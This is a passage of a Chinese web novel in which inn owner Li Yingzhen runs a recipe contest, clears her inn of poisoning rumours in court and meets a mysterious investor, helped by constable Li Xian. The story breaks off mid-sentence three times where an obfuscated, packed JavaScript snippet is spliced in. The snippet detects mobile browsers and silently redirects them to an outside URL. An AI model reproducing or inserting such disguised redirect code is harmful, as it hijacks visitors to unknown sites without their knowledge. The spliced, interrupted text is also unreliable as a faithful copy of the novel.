“这三份菜谱的内容非常相似,都是用金不换和不同种类的黄颡鱼搭配,只置换了葱蒜这些东西,核心思路和关键配料如出一辙。”黎映真边说,边将几处关键的地方一一给李弦指了出来。 孙伯他们又找了两份相似的菜谱递给黎映真。 李弦跟着一块儿看,也发现了其中的不同,道:“这写菜谱的字迹看着风格不一样,但……” 黎映真会意,将五张菜谱都推到李弦面前。 原本热烈的气氛因此凝固,孙伯担心道:“掌柜的,这是有人故意用相似的菜谱想要捣乱?” 黎映真点头道:“用不同的笔迹投稿相似的菜谱,如果我们没能甄别出来,到时有心之人说我们纵容剽窃抄袭,更有甚者他们利用投稿人之间的私人恩怨闹出事端,这次活动一定会受到影响。 “客栈如今走的每一步都尽量不能出问题,一定不能让这种事发生。” “不止,这鱼需要处理干净,否则有毒。”孙伯道,“真有人想要害我们客栈?” 想起上回那桩人命官司,黎映真还心有余悸,不禁狠狠道:“又是这种阴招。” “应该是有人故意模仿不同的笔迹想要混淆视听。”李弦放下手中的菜谱,对黎映真道,“不是有投稿记录?拿来比对查查送达的时间和投稿之人。若是成批作假,总会有破绽。比如墨迹干透的程度,或者是不是在同一个人手里集中。” 是了,如果这些稿件是同一人或一伙人集中递交的,那么在送达时间、递交人特征上很可能留下线索。 笔记可以模仿甚至刻意隐瞒,但墨迹的新旧、纸张的折痕,甚至可能残留的书写者衣上的气味,都可能成为突破口。 想通了这事,黎映真正要向李弦道谢,却见他起身要出去。 “这么晚了,你去哪儿?” “时辰不早,明日还要开门做生意,你们都早些休息吧。”开门前,李弦转头与黎映真道,“不用给我留门。” 他在众目睽睽之下离开了客栈,不久后进了一处无人小巷。 三声暗号后,一道黑影从墙上跳下。 “地下赌庄背后那个胡商老板这几日可有异动?” “查到几笔银钱流向有问题,但对方很警惕,我们暂时不敢有大动作。只有一笔跟黎文远的交易还能跟紧些,但因在走的是茉城的钱庄,阿琳那儿在盯着。” 李弦沉默,惹得副手疑惑问道:“李哥,是有新线索了?” “暂时没有,但有件事需你们费心查一查。” “什么事儿?” “想办法查查,最近有没有人通过地下赌庄的关系,在市面上搜罗黄颡鱼、金不换或者特定药材的消息。” 25. 第 25 章 为期五日的投稿结束,客来居又另做了两日直播间评审活动,每日抽取二十名幸运食客尝试样菜,并且可以为喜欢的菜品进行拉票,截至当日晚市闭市停止投票,投票篮统一封存在县衙内,至第三日直播间当场唱票。 至此,客来居连续几日宾客盈门,热闹非凡,成安县百姓众口相传,到投票决赛的当日客栈内座无虚席,都是来围观这次民选特色菜的比试结果。 台上,黎映真身后用三张长桌排成的放置台上依次放着十几只封盖,里头便是得票的菜品及票数。 “各位乡亲,承蒙厚爱,本次‘寻宝令’共收到菜谱投稿一百二十余份,佳作纷呈。经与作者协商,最后制成样菜在直播间进行比试的共有四十八份,得到投票的有十二分,都在我身后。” 她让出放置台的位置,阿桃、吴二、孙伯分别领着一名唱票员上台,三道菜为一组,同时进行唱票记录。 待六人站定,黎映真扬声道:“开箱,唱票。” 三组人同时打开各自的投票箱。 “金不换拌三丝。” “金风玉露羹。” “暗香骨。” …… 唱票声一声叠着一声,木板上的“正”字逐渐增加。 第一组中金不换拌三丝的得票数遥遥领先。 台下围观的食客们有些已然悻悻,有些还正在兴头上,一一都被黎映真看在了眼里。 “黎掌柜这与民同乐的法子效果真不错。”李弦端着一碟卤水花生米来到她身边,将碟子往她面前凑了凑。 黎映真摇头,视线总在那些食客之间逡巡,像是在寻找什么。 第二组开始。 依旧和第一组相同的流程,不同只是这一组里有那道“金不换黄颡鱼汤”。 她翻过当日的投稿记录,也上门找过,但投稿人说自己只是拿了银子替人代投,并不清楚菜谱的作者究竟是谁。 她这才有意让这道菜参与投票,想看一看来现场的食客们的反应。 第二组的投票结果,金不换黄颡鱼汤暂时名列第一,且比金不换拌三丝还要高出许多票数。 又有食客摇头叹息,也有继续看热闹的,却没有黎映真想要找的那种看来行为古怪的食客。 看来对方比她想得更谨慎小心,那双躲在暗处的眼睛不知何时才会露出马脚。 李弦看她略显失望,自顾自吃起花生来,问道:“你就不怕这黄颡鱼汤拔得头筹?” “用了匿名投稿的菜,将来闹出纠纷怎么办?”黎映真瞥了李弦一眼。 正捻花生米的手一滞,李弦心领神会,又问黎映真道,“真不尝尝?这次味道真不错。” 不知这人怎还有这黏人的脾气,黎映真无奈,随手抓了一粒,道了声多谢就继续看唱票,未见他眼底渐浓的喜色。 第三组中有一道名为“金玉满堂”的菜品,黎映真在见到菜谱的那刻便很是喜欢,孙伯对这道菜也颇有意向,在直播间推出后更是收获相当热烈的反响。 只从那几乎要被塞满的投票篮便可见其人气之高。 同组的另两道菜很快便结束了唱票,唯独金玉满堂的投票一张接着一张,模板上的“正”字不断增加,眼看着就要追平黄颡鱼汤的票数。 所有人都因此聚精会神地看着台上的唱票,黎映真也看得认真,只不过神情松弛一些,眼底透着股自信。 看着投票篮里那还所剩良多的票,黎映真嘴角微弯,对李弦道:“这就叫民心所向,这大抵就是将来我这客来居的招牌之一了。” “那我要提前恭喜黎掌柜了。”说着,李弦手里的花生米又往黎映真跟前凑。 这会儿她不推辞,捻了一颗来吃,道:“我让阿桃他们观察过了,这几日来客栈的不只有普通食客,还有一些是听说了我这个活动,有目的而来的供货商。” “愿闻其详。” “一个剽悍疯妇将一间客栈经营得有声有色,这噱头不足吗?况且我这直播间的名头是之前就打出去了,再加上这次征集菜谱的事还是有了一些影响…… “做生意的如果嗅觉不敏锐,是挣不到钱的。” 喧嚣的人群中,他们低声交谈,仿佛自成一方天地。 台上的唱票声、人群的议论声都成了他们的背景。 两人边说边吃花生米,她这话音落下时,碟子里恰好剩了两颗。 而他们刚好都要去拿。 李弦仍托着碟子,笑看着黎映真道:“我没骗你吧,这次的花生米好吃。” “确实味道不错。”黎映真点头。 于是乎,其中一颗被李弦抢先捻起放入口中。 他嫌不够,还想去拿那剩下的一颗。 “啪”的一声,黎映真毫不犹豫拍开他那只不知满足的手,夺了那最后一粒吃下。 台下忽然传来一阵喝彩并着雷鸣般的掌声,黎映真的注意被重新拉回到台上,这才发现是金玉满堂的票数超过了黄颡鱼汤,并且还在持续增长中。 唱完金玉满堂投票篮中的全部投票,台下的掌声更是空前,以至于当所有人看到最后一组三个菜品的投票篮连一半都没装满,这次的投票结果已见分晓。 黎映真这才重新回到台上,再一次展示了每道菜的得票数,站在金玉满堂前道:“本次‘寻宝令’胜出的就是‘金玉满堂’。” 大堂内掌声如雷动,喝彩声不绝。 阿桃上来跟黎映真耳语几句后,黎映真道:“因金玉满堂的作者不便现身,故不上台与大家见面。 “‘寻宝令’发出当日,我就承诺,此后每售出一道合作菜品,作者便能得到相应分红。经与作者协商,该分红将定期捐入县中善堂,公示明细,欢迎大家监督。” “好!这才是真正的金玉满堂!” “实至名归!” “这样的善举我一定支持。” “寻宝令”落下帷幕,黎映真却是马不停蹄地见了几个供货商。 这次活动本就在李弦的牵线搭桥下得到了衙门的支持,他在县令授意下随同黎映真跟供货商们接洽,一来为客来居打开了新的货源,二来也给一潭死水的本地商贸引入新鲜血液,多方得利。 二人一起回到客来居时,不止阿桃、孙伯他们都在,就连良生也在。 桌上还有一整桌的菜,除了那道羊肉卷,中间放着的正是金玉满堂。 秘制酱汁腌制过的嫩鸡块经砂锅闷烧,呈现出金黄诱人的色泽,金不换去腥增香,又是点点翠绿缀在其间,可谓色香俱佳,今日能拔得头筹实至名归。 “良生你怎么来了?”黎映真问道,“这个时候单独出来,你爹知不知道?万一有危险呢。” 良生摇头道:“成安县有李捕快在,任何时候、走在哪里都安全得很。” 黎映真闻言回头去看李弦,只见那人正抱臂站着,冲自己一挑眉尾,很是得意。 她笑睨一眼,视线还未从李弦身上收回,又听良生道:“再说黎掌柜不也是这个时候才从外头回来,证明你也不觉得外面危险。” “我有李捕快保护,必然是安全的。”这次“寻宝令”得了李弦很大的帮助,黎映真不介意在外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998168|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人面前卖他这个面子。 李弦站去黎映真身边,叮嘱良生道:“就算有我在,也有顾及不到的地方,该回家时还是要回去。我只有一个人一双手,真遇见麻烦也是难敌……” “三四五六七八只手。”当日在客栈门口听过他“说书”的,都异口同声地接了这句,随之大堂中笑语不绝。 再去看良生时,黎映真眸光微微沉静下来,透着感激道:“多谢小良生,不光给这次‘寻宝令’起了个好头,还给我送了一个完美收尾。这金玉满堂以后就是客来居的招牌菜,我会按照你的交代,卖出一份就给善堂捐一份银子。” “不过……”她垂眸略有迟疑,只等良生忍不住好奇主动追问,才继续道,“你爹希望你好好读书也是用心良苦,再者李捕快说你在书院学得也不错。我们做个约定,你要继续用功读书,至于研究菜谱、创新菜式这种事,可做闲暇爱好。你爹不与你说的,你可以来找我,或是找孙伯,我们保证不将你的心血说出去,好不好?” 说着,黎映真抬起手,勾起小指。 良生却道:“小孩子才拉钩,我是男子汉大丈夫,今晚就跟黎掌柜做这个约定,好好读书,以后争取去考科举。我还要编一本自创的菜谱,专门给黎掌柜做生意用。” 周围人闻之发笑,并非讥嘲,而是欣慰。 良生本是偷偷溜出来,他又听李弦的话,很快就离开了客来居。 黎映真则和其余人小聚,当是办庆功宴。 酒足饭饱,人人脸上都带着疲惫却满足的笑容,彼此搀扶着去往后院,今夜且在客栈留宿。 黎映真又回到柜台后,才插上抽屉的钥匙,头顶便罩下一片阴翳。 她头都没抬,道:“还不去休息?” “你不也是?”李弦今晚跟黎映真一样也未喝酒,这会儿靠着柜台看她拿出账本核账,倒是不说话了。 大堂中的灯火已随着夜色渐深而暗淡许多,黎映真却浑然不觉,手边摊着账本,还打着算盘。 霹雳啪啦的清脆声响,响一阵,停一阵,她手里的笔也是写写停停,口中还念念有词,就是说得轻,李弦也听不清她究竟在说什么。 台上的蜡烛越烧越短,李弦几乎就在黎映真跟前站着,也觉得快看不清她的神情。 在客栈这几日,他多少摸清了日常用品放在何处,便去拿了根新蜡烛换上,绕去柜台里,将黎映真近身的整个烛台都换了。 察觉到身边的动静,黎映真才抬头,目光恰落在李弦放置烛台的那只手上。 视线顺着他的衣袖一路滑过,最后定在他眉眼间。 烛光笼在他眼里,亮亮的,可橙色的光线温柔,便让那双眉眼看来也柔和温润了许多。 原本沉静在那堆账目数字里的心思莫名有些乱,黎映真握笔的手不由握紧了些。 她转过头,将笔往笔山上一搁,胡乱合上账本,道:“时候不早了,都歇了吧。” 正将账本收回抽屉时,台上的烛火扑朔,光线暗下的那一刻,李弦的声音传来。 “我的伤好多了,明日我就回青果巷,这几日有劳黎掌柜照顾。” 关抽屉的手没收住力道,“砰”的一声又惊动了那寸烛火。 她看着跳动的烛光,懵懂地应着:“啊……嗯……知道了。” 四下无声,她不知自己在想什么,只在稍后听见有一个声音自心底传来,盼着这夜能过得慢一些。 “滴!出现直播间热度新峰值:50。” 一道金光从脑海中闪过——不对,系统播报的热度值一定有问题。 26. 第 26 章 原本靠着“寻宝令”的热度和慈善捐助,客来居的货源问题得到了解决,生意也比之前好了不少,是该高兴的事,可黎映真的脸上未见多有笑容。 一来心里想着系统可能隐瞒自己的事,二来则是看着客栈账面的流水,真要达到当初和黎世昌承诺的盈利分红还是有难度的。 柜台台面被敲响,黎映真抬头时见是李弦。 他的伤已好得差不多,如今回衙门办差又穿上了那身公服甲胄。 “又来巡街?”黎映真勉强拾起一抹淡淡笑意。 她合上账本,正准备亲自招呼李弦,却听那人道:“抓人来的,回去路上经过你这儿。” 脚下停了步,她顺口接道:“公干还中途摸鱼?” 看阿桃跟吴二都在忙,又有新客人进来,黎映真正要去迎人,却被李弦拉着。 “做什么……”话未说完,她只觉得抓着自己的那只手有些用力,而自己不想吃苦头,只得由李弦带着往后退。 待到柜台后头,李弦才松手,黎映真已一巴掌拍在他小臂上,还不满地瞪了他一眼。 “弄疼你了?”开口时已带了歉意,李弦的视线一直锁在黎映真身上。 揉了揉方才被他扣住的地方,她又佯怒地瞪他,嘴上却是认真问道:“怎么了?” 李弦沉着脸,凑近些低声道:“有人当街闹事,其中一个是良生。” “良生?”黎映真惊得那双眼睛又瞪圆了,不自觉拉住李弦追问道,“良生怎么还跟人动手?他不像那样的人。” 目光落在黎映真那只手上,李弦却知道说正事要紧,于是同她将事情简单说了。 黎映真这才知道良生看着文文弱弱的,当街跟人动手居然是因为自己,因为客来居。 因这些日子客来居和金不换在成安县风头正劲,引来众人瞩目的同时也少不得夹杂充满恶意的声音。 客栈的金不换都是熟制,并看不得香草本真的面貌,便有谣言说这金不换实是一种毒草,客来居将其段切炒熟,降低了其毒性,但若长期食用,毒素积累在体内更是大患。 由此更有针对黎映真的攻击,说她为牟利罔顾人命,黑心黑肺。 李弦说着,也看着黎映真逐渐愤懑的神情,话到一半顿了顿,改口先安慰她几句道:“流言才起来,知道的人不多,但你也要尽快想办法,否则传得满城风雨就不好收拾了。” 他一改往日散漫不羁的样子,影响着黎映真也慎重起来,与他点头道:“我知道了。” 见李弦转身要走,她手上又加了些力拽着,关切问道:“良生会不会有事?” “问题不大,不过要老张头自己来领人了。你还是尽快想法子,到时记得通知我。”李弦叮嘱道。 他说完就走,走前还是不禁从黎映真没松开的那只手上扫了一眼,这才自她掌中抽回手,跟阵风似的离开了。 看他走得急,黎映真不知他究竟听没听见自己那声“好”。 良生因当街斗殴被抓的事没多久又被孙伯从后厨带到了黎映真跟前,说是几个帮工从外头回来的时候听说这件事,打听了才知道缘由,还在向他询问金不换到底是什么来头。 “掌柜的,咱们接下去该怎么办?按这架势,就算咱们领着他们去看金不换,也怕有人不相信。 “我还听那几个帮工说,外头传你跟李捕快……总之有说你借李捕快之便打通了衙门的关系,仗着公家的背景要在县里……” 黎映真这才体会到李弦当时欲言又止的意思,原来这次还将他和衙门也牵连了进来。 不过这种时候那人还大摇大摆地来找她,也不知李弦究竟是怎么想的。 谣言虽起,但生意还得照做,只是这晚市闭市后不久,县衙外出现一道身影,说有东西转交给李弦。 两日后清晨,县衙门外响起沉沉鼓声。 “咚咚咚。” 声声沉重有力,正是黎映真敲响了登闻鼓。 她又一次出现在成安县县衙公堂之上,这回却不是孤身一人,还有孙伯、阿桃等一众客栈帮工。 县令升堂,衙役分列两旁,肃穆威严。 堂前除了县令,还有县中颇有声望的乡绅罗员外、冯夫子,以及县中最大医馆的陈、刘两位大夫。 惊堂木拍响,前来围观的百姓随之安静下来。 “堂下……”县令见是黎映真遂改口道,“黎映真,你今日敲响登闻鼓是为何意?” 黎映真上前一步,神色坚定,目光灼灼地看着县令,道:“县令大人在上,各位乡贤见证,民女黎映真今日击鼓,是为客来居身陷污蔑流言正名,客栈使用的金不换不过生长在乡间野地的一种香草,并非剧毒之物。” “空口无凭,证据呢?”罗员外问道。 黎映真示意,阿桃即从人群中领了吴二出来,身边还跟着个人,正是当日在茉城与黎映真在城郊相遇还聊起金不换的那位老农。 “月前,客来居因小人作梗,货源被断,面临关张之危。民女不得已,亲赴茉城寻觅生机。机缘巧合,在茉城城郊发现金不换。途中遇到这位王伯,王伯介绍当地乡民称之为‘臭草’,将其视同杂草……” 她不卑不亢,语调沉稳,述说着发现金不换时的情景。 待说毕,她问老农道:“王伯,我与你签订的收购书呢?可拿出来给县令看看。” 于是二人同时拿出收购书呈交县令。 王伯道:“禀县令大人,那臭草就长在我们田边地里,往日都没人管。那日黎掌柜跟……就是这位……黎掌柜的哥哥……” 王伯所指,正是站在衙役队伍最前头的李弦。 “哥哥?”罗员外意味深长地扫了李弦和黎映真一眼,“一个姓黎,一个姓李,是哪家的哥哥跟妹妹?这其中关系若是说不清楚,可要让外头人误会。” 罗员外这暧昧不清的言辞跟表情意指黎映真和李弦暗通款曲,跟衙门之间也或有苟且,直接将他们三方都拉入了这舆情旋涡之中。 黎映真没想王伯会突然提及此事,只道李弦当日口没遮拦,埋了祸根到今日爆发。 心底带着怨怪暗暗看了李弦一眼,她正想要解释,却见李弦神色不变,从容上前。 “卑职之前前往茉城一事,经县令大人首肯,附公干文书,都在茉城县衙有交接记录。”他镇定道。 县令点头称是。 “在茉城时,卑职遇袭,得黎掌柜仗义相救。她知我公务在身且遇困境,不问缘由自愿相助,卑职方才借黎掌柜的光,前往城郊探查消息,不想在路上发现了金不换,遇见了王伯。 “当日谎称与黎掌柜是兄妹关系,实是出门在外,公务隐蔽,未免多惹麻烦才以此遮掩,不想今日倒还成了我与黎掌柜不清不楚的关系。” 李弦长身而立,正站在黎映真与罗员外之间,免那腌臜目光总在黎映真身上打转。 他则看似面带春风地盯着那乡绅。 罗员外见了那含笑眉眼却是心头一颤,不仅是李弦眼底分明涌着阵阵寒意,他握着腰间佩刀的手也是隐隐有了什么动作。 纵是料定李弦不敢在公堂上有出格行为,他也多少顾忌着那藏在李弦笑里的刀,当下低头不说话了。 李弦这才转身,示意王伯继续。 余光里瞧见黎映真的身影动了动,他转过视线,只见她正朝人群外头望。 是时,吴二搬上来一捆“金不换”。 “王伯,当日我向你收的是不是这些草?”黎映真问道。 王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002670|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伯蹲下辨认了一番,点头道:“是了,正是这些。黎掌柜说这是好东西,要老头子帮忙收割,还签了收购书,说不能让老头子白忙活。收购的钱,黎掌柜也都付清了的,都在这儿。” 从怀里掏出一块粗布,王伯打开后是几枚碎银子,他继续道:“黎掌柜是好人,说了按野菜的价钱收这些草,临了知道今年收成不好,还给了老头子辛苦费。大人,这样良心的掌柜,一定不会害人的。” 县令授意下,陈、刘二位大夫上前,分别对那困金不换进行现场检验。 黎映真趁此机会继续道:“此草生叶苦涩辛辣,直接入口,难以下咽。而且王伯说过,曾人生吃这草上吐下泻,可见此草具有一定毒性。” 堂外顿时响起一阵议论。 罗员外指责道:“既知草有毒,却还用来做菜,说你投机取巧谋取暴利已然轻了,这分明就是罔顾他人性命,用心险恶。” 这一句定罪之论立即调动起百姓的情绪,原先的议论声中出现了对黎映真的讨伐声。 惊堂木连响数声,沸腾的人声才平息下去。 似是感受到一道带着暖意的目光,黎映真抬眼去看,只见李弦冲自己颔首,动作做得几不可见,但她切实在这冷冰冰的公堂上接受到了来自他的鼓励。 “罗员外可以说我病急乱投医,但将金不换作为香料加入菜品中却并非我意气用事。”黎映真到孙伯身边,道,“客来居的老厨头孙伯,与膳食打了三十多年交道,我询问过他的意见,也经过试验,确定了熟制的金不换可以食用,才正式推出的。” 孙伯点头道:“老头儿做了三十几年的菜,乍见这金不换也有疑惑,但世间万物,生熟性异的不在少数。生豆角含毒,熟食却为佳肴,生半夏、生乌头都是大毒,但经过炮制,又可救人性命,陈大夫、刘大夫,你们说是不是?” 陈大夫起身,蹙眉看着手里那半截草茎,道:“孙伯所言在理,但生草毕竟含毒,你们又如何确定是否真将这金不换制熟了?” 孙伯一时无言,求助地看向黎映真。 黎映真垂眸,没有立即给出回答。 公堂上一片肃静,罗员外只当又得了机会,质问道:“黎掌柜怎么不说话了?” “急什么?”黎映真当众顶撞回去,见罗员外登时现了怒容,她嘴角露出一抹讥笑,反问道,“时至今日,可有任何一位在客来居食用了金不换的人出现中毒的迹象?” 在场去过客来居的被问得哑然。 “既无先例,不正是客来居彻底熟制金不换的证明?至于要问我们是如何做的……”黎映真有意停顿,随后莞尔道,“客栈秘法,不光能保证将生草熟制,还能去其苦涩,锁住甘醇底蕴,使之与食材风味交融,否则金玉满堂如何叫座,成为客来居新晋招牌?” 她环视堂上众人,最后目光落在脸色变幻的罗员外身上,想他也是商会的人,心中更恨。 抽起一根金不换举在手中,她义愤填膺道:“客来居为突破有心之人绞杀才不得已外出破局,无意得这金不换有了一线生机。我们倾注心血推出相关菜品,深受乡亲们喜爱,却又遭歹人污蔑。用心如此险恶,手段如此卑劣,是要彻底毁了我客来居的招牌,断我生路! “再者我听那外界流言里,还有构陷我客来居与官府衙门苟且的,实在污秽不堪。这不止是要将我逼入绝境,更是藐视公家衙门,视县令大人的威严于无物!” 她这一番陈情有节有度,越发激昂慷慨,在众人瞩目下,扬声恳请道:“官府威信岂容歹人践踏?民女恳请县令大人今日就在这公堂之上,还客来居一个清白,也请大人严查传播谣言之人,以正视听。” 一时间,公堂之上寂静无声,唯有她清越的声音余韵在梁柱间隐隐回荡。 27. 第 27 章 在黎映真据理力争之下,由陈、刘两位大夫当堂证明客来居的金不换并非剧毒之物,熟制后可放心食用。 而关于这谣言的源头,县令也下令彻查,并对继续传播者加以严惩。 走出衙门时,黎映真一面感谢王伯到场相助,一面听着阿桃他们还在讨论方才公堂上的事,暂且松了口气。 “李捕快?” 听见阿桃叫了一声,黎映真回头,真见李弦出来,还是穿着那一身公服,倒是不见面对罗员外指摘时的严肃冷冽。 “我来给良生带个话。”李弦道,“他不便当面祝贺你破了流言,让我代为恭喜你。” 黎映真点头,故意逗他道:“只有他恭喜我?” 秋日光长,笼在黎映真身上,蒙蒙地生了一层浅浅的光翼,映得她眉眼柔和,眸光似水。 李弦摇了摇头,没接黎映真的话,丢下一句“回去做事了”转头就走,不知黎映真站在远处多看了他两眼。 看李弦真是回衙门的样子,黎映真蓦地有些失落,但想起公堂上那人应对罗员外时的锐利锋芒,心头便似照了这温柔秋光,浮上一阵暖意。 转身去跟阿桃他们会和时,她不觉那一脚已跨进县衙门槛的身影回了头,只瞧见她跟人说笑着离开的背影。 自此,客来居柜台上多了一份立裱的证明,正是德仁堂陈、刘两位大夫开具的联名证明,且盖有德仁堂的印鉴,以此彻底堵住了谣言缺口。 客来居不仅声誉未损,反而因这场公开透明的“正名”之举,赢得了更多食客的信任与敬佩,生意愈发红火,金玉满堂更是一菜难求。 这日午市尾声,客栈里已过了最热闹的时候,只有几桌食客还在吃东西,且已到了尾声。 客流稍缓,黎映真便在柜台后核对账目,阿桃帮着吴二利落地收拾桌椅,一切井然有序,平常安宁。 几道身影出现在客栈门外,遮住了门口的日光。 黎映真下意识抬头望去,只见一位女客在两名随从的陪同下进入了客栈。 这女客身着湖蓝色长裙,身上没太多装饰,看来清新素雅。 黎映真立即上前相迎,笑道:“几位是用膳还是饮茶?楼上有清静雅间。” 走近细看,她发现女客这衣裙的料子从质地到织工都非同寻常,在成安县开了这么久客栈,见了那么多客人,这样低调的客人,她是头一回见。 那女客目光淡淡扫过大堂,并未立刻回答,视线在柜台上那张立裱证明上停留一瞬,才转向黎映真,唇角含着一丝若有若无的浅笑,道:“听闻贵店的金玉满堂颇具特色,今日前来尝尝。不必雅间,就此处吧。” 她指了指靠窗一处光线明亮且视野开阔的位置。 “这边请。”黎映真亲自将女客引至座位。 女客落座,身后两名随从则一左一右,立于其身后不远不近的位置,低眉垂眼,自始至终都没开过口。 恰此时,门口传来皮革与金属轻击的声响。 这声音响得有节律,黎映真不用看都知是谁来了。 她仍与那位女客交谈,仔细听了客人的点菜,这才唤来阿桃去通知后厨准备上菜。 李弦已找了空的位置坐下,嘴里叼着不知从哪儿折来的草茎,通身吊儿郎当的模样连带着让那一身肃穆的公服甲胄都平添了几分不羁的散漫。 “又忙到连午膳都没吃?”黎映真问道,一切如同家常,李弦的存在已经成了习惯。 她本打完这声招呼就要继续去理账,但听李弦有意压低的一声“哎”,已转了一半的身子硬是重新转回来,问道:“怎么了?” 眼见这人视线快速从那女客落座处打了一圈回来,黎映真随即坐下。 “你这太显眼了。”李弦这样说着,身子一歪,半趴在桌上,一副闲来无事跟黎映真聊天的松弛模样。 黎映真做不到他这毫无顾忌的姿态,学了他五六成的样子,支着脑袋道:“你又发现什么了?” “自是贵客。” “我知道。”黎映真有意拿他开玩笑道,“这成安县里,还有你李捕快没抓到的风声?” “风、声皆无形,我如何抓得住?” 眼见李弦忽然朝自己伸手,黎映真吓得后仰了身子一并站起来就要躲。 偏是这人的笑声紧跟着传来,她才知是他在还击自己方才阴阳怪气他的那句话。 她恼着瞪李弦,却见李弦笑得眉眼都舒展了。 实在气不过,她一脚踢在李弦腿上,没多用力,又听见他“哎哟”一声。 “装得挺像。”她没好气道。 数落完李弦,黎映真扭头就走,只听他在身后喊道:“还是老样子。” 她没搭理,却也晓得这人不过是想提醒自己客栈里来了不同寻常的人,要她多加留意。 因此自大堂中经过时,她有意从余光里去观察那女客。 晚些时候菜上了,黎映真亲自给女客送去,一道金玉满堂、两样清淡小菜、一壶清茶,是客栈里颇为常见的点菜模式。 “黎掌柜跟传闻里不大一样。”女客全程坐着没什么动作,跟黎映真说话时语调舒缓,吐气如兰。 黎映真心头一紧,因着李弦的提醒,她不敢贸然接话,快速想了想,才问道:“传闻?客人听了什么传闻?” 女客看着黎映真布菜,嘴角加深了的笑容里多了丝歉意。 黎映真大约猜到了,无外乎那些对她的诋毁,她不以为意,道:“没想到我这恶名都传到成安县外了,让客人见笑了。” “黎掌柜年纪轻轻,便能将这客栈经营得如此风生水起。先是直播间,再是寻宝令,都是新奇法子,旁人不见得能想出来。” 女客端起茶杯,轻轻吹拂着热气,目光落在黎映真身上,问道:“不知黎掌柜对这客栈日后的经营,有何打算?不会只想守着金玉满堂一道菜吧?” 黎映真心头一凛,却不敢贸然揣测这话的意思。 视线不由往李弦的位置跑,可那人正低头吃着鲤鱼烩面,一点暗示都不能给她。 “客人过奖了。”黎映真客套一句,只想尽快抽身。 那两个随从像是知道她的意思,立刻换了位置,将她原本的退路拦住了。 女客仍是那副彬彬有礼的姿态,道:“午市尾声,客栈该有闲暇,黎掌柜坐下说话吧。” 连李弦都不敢轻举妄动的人,黎映真更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006690|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有这个胆量,只得在女客身边坐下。 “黎掌柜别担心,我不做客栈生意,只是平日闲多事少,无聊起来便喜欢做些可以钱生钱的事。”她看着黎映真的眸光又深了些,“不知黎掌柜有没有能让我掏钱的本事。” 此言一出,黎映真又惊又喜,这是自动找上门的投资? 若有能得到一笔注资,那她和黎世昌的约定便能完成得八九不离十,到时她按期交付第一期分红,燃眉之急就能解了。 可她转念一想,这天上掉馅饼的事又能轮到自己头上? 从来连个安慰奖都中不了的她,也不指望这回真能走大运。 “我这客来居小本经营,自给自足,怕是要让客人失望了。”她推脱道。 女客听后不恼,只细细品尝着金玉满堂。 她食不言,黎映真又被那两个随从看着,只能乖乖坐着。 好在这说不上煎熬,至少女客吃东西的样子优雅斯文,且当欣赏会动的画作了。 吃了几口,女客放下筷子,用帕子轻轻拭了拭嘴角,看向黎映真的目光中,欣赏之意更浓:“这金玉满堂名不虚传,值得这一趟。” 她站起身,语气依旧平缓,却带着一种不容置疑的肯定,道:“希望日后,还能见到黎掌柜更多巧思之作。” 见随从拿出远超菜钱的银子,黎映真正要推辞,又听女客道:“这菜由我品尝,价值便由我定,我说它值这个价。黎掌柜再推辞,我也是要将这钱留下的。” 说罢,她将那银子丢给一旁的李弦。 黎映真去找李弦的工夫,女客已带着随从离开了客来居。 从李弦手里夺了那银子,黎映真还要追出去,却被这人拉住。 “收着吧,看她这通身的气派,这银子够不上她身上一根头发,还是她自降身价了。”说完,他将碗里剩下的烩面都吃了。 黎映真仍朝外头望了望,道:“这人来得古怪,这银子我更是拿得不安生,谁知道会不会又是有些人设的陷阱。” “敌在暗,我们在明,姑且兵来将挡吧。”李弦安慰她道。 黎映真却是嫌弃道:“什么我们?你又不是客栈的人。” 说完,她别过脸去,有意憋笑,无奈李弦一声轻笑传来,她瞬间破了功,跟着失笑。 临了不忘嘴硬,她笑嗔道:“你笑什么?我说错了?” 李弦没接话,自袖袋里摸出一块手巾擦嘴,正是她“送”他的那块。 “这还不算自己人的证明?”李弦拿着手巾在黎映真面前晃来晃去,逗她道,“阿桃、吴二他们可有?” 黎映真试着抢回手巾却失败,被这人得意洋洋的模样看得又好气又好笑,啐他道:“我丢了的东西你还要,衙门待遇这么差,要你个捕快捡破烂?” 她这怪腔怪调非但没惹怒李弦,倒教他眉头舒得更开,嘴角也是几乎要咧去耳朵根了。 收了那手巾回袖袋里,他道:“她来头不小,绝非寻常人物。而且既对你有兴趣,便不会就此罢休。是福是祸,难说。” “这还用你说。”黎映真憋着嘴,听着李弦指尖叩响桌面的声音,却半晌没听见他的下文,忍不住问道,“然后呢?” 28. 第 28 章 